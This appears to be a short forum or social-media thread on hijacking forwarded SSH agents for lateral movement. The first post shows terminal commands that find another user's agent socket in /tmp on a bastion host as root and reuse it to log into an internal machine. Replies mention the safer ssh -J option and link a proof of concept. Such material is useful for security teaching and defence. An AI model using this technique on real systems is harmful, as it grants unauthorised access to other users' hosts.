Here's one of my favorite techniques for lateral movement: SSH agent forwarding. Use a UNIX-domain socket to advance your presence on the network. No need for passwords or keys.
root@bastion:~# find /tmp/ssh-* -type s
/tmp/ssh-srQ6Q5UpOL/agent.1460
root@bastion:~# SSH_AUTH_SOCK=/tmp/ssh-srQ6Q5UpOL/agent.1460 ssh [email protected]
user@internal:~$ hostname -f
internal.company.tldThis post explains it well and details the safer ssh -J alternative.
Thank you, this is cool stuff.
There are quite a few operations defined in the agent-forwarding spec.
A particularly interesting one is using the agent to perform private key signing operations, without having access to the key itself.
Here is a simple POC that shows this in action
https://github.com/dandare100/agentstub